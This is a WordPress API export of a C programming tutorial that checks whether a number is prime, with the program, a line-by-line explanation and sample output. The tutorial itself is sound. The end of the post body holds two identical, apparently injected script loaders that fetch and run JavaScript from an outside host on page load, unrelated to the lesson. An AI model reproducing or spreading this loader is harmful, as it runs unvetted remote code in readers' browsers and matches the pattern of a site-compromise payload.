{"id":747,"date":"2024-10-19T13:38:14","date_gmt":"2024-10-19T08:08:14","guid":{"rendered":"https:\/\/codexplained.in\/?p=747"},"modified":"2025-11-24T15:36:38","modified_gmt":"2025-11-24T10:06:38","slug":"check-prime-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=747","title":{"rendered":"Check Prime Number"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    int number, i, isPrime = 1;\n\n    \/\/ Asking the user to input a number\n    printf(&quot;Enter an integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;number);\n\n    \/\/ Prime numbers are greater than 1\n    if (number &lt;= 1) {\n        isPrime = 0;\n    } else {\n        \/\/ Checking divisibility from 2 to number\/2\n        for (i = 2; i &lt;= number \/ 2; i++) {\n            if (number % i == 0) {\n                isPrime = 0;\n                break; \/\/ If divisible, no need to check further\n            }\n        }\n    }\n\n    \/\/ Output whether the number is prime or not\n    if (isPrime == 1) {\n        printf(&quot;%d is a prime number.\\n&quot;, number);\n    } else {\n        printf(&quot;%d is not a prime number.\\n&quot;, number);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Including the standard input-output library<\/strong>: We include the <code>stdio.h<\/code> header file to use the <code>printf<\/code> and <code>scanf<\/code> functions for input and output.cCopy code<code>#include &lt;stdio.h&gt;<\/code><\/li>\n\n\n\n<li><strong>Main function<\/strong>: The execution of the program starts with the <code>main()<\/code> function.cCopy code<code>int main() { ... }<\/code><\/li>\n\n\n\n<li><strong>Declaring variables<\/strong>:<ul><li><code>number<\/code> is used to store the number input by the user.<\/li><li><code>i<\/code> is used as a loop counter for checking divisibility.<\/li><li><code>isPrime<\/code> is a flag variable. It starts as <code>1<\/code> (assuming the number is prime). If we find any divisor, we change it to <code>0<\/code> (not prime).<\/li><\/ul>cCopy code<code>int number, i, isPrime = 1;<\/code><\/li>\n\n\n\n<li><strong>User input<\/strong>: We prompt the user to input a number using <code>printf<\/code> and store it in the <code>number<\/code> variable using <code>scanf<\/code>.cCopy code<code>printf(\"Enter an integer: \"); scanf(\"%d\", &amp;number);<\/code><\/li>\n\n\n\n<li><strong>Checking if the number is prime<\/strong>:<ul><li>Prime numbers are greater than 1, so if the number is less than or equal to 1, we directly set <code>isPrime = 0<\/code>.<\/li><li>For numbers greater than 1, we check if the number is divisible by any integer from 2 to <code>number\/2<\/code> (because a number cannot have any divisor greater than its half). If we find a divisor, we set <code>isPrime = 0<\/code> and break the loop since the number is not prime.<\/li><\/ul>cCopy code<code>if (number &lt;= 1) { isPrime = 0; } else { for (i = 2; i &lt;= number \/ 2; i++) { if (number % i == 0) { isPrime = 0; break; } } }<\/code><\/li>\n\n\n\n<li><strong>Displaying the result<\/strong>:<ul><li>If <code>isPrime<\/code> is still <code>1<\/code>, the number is prime, so we print a message saying it is a prime number.<\/li><li>If <code>isPrime<\/code> is <code>0<\/code>, we print that the number is not prime.<\/li><\/ul>cCopy code<code>if (isPrime == 1) { printf(\"%d is a prime number.\\n\", number); } else { printf(\"%d is not a prime number.\\n\", number); }<\/code><\/li>\n\n\n\n<li><strong>Returning 0<\/strong>: The program returns <code>0<\/code> to indicate successful execution.cCopy code<code>return <\/code>0<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter an integer: 7<br>7 is a prime number.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Summary:<\/h2>\n\n\n\n<p>The program checks divisibility starting from 2 up to <code>number\/2<\/code>. If any divisor is found, the number is not prime. Otherwise, it&#8217;s a prime number.<\/p>\n\n\n\n<p>A prime number is a number greater than 1 that has no divisors other than 1 and itself.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: OUTPUT Enter an integer: 77 is a prime number. Summary: The program checks divisibility starting from 2 up to number\/2. If any divisor is found, the number is not prime. Otherwise, it&#8217;s a prime number. A prime number is a number greater than 1 that has no divisors other than 1 and itself.<\/p>\n","protected":false},"author":42,"featured_media":375,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-747","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=747"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/747\/revisions"}],"predecessor-version":[{"id":1402,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/747\/revisions\/1402"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/375"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}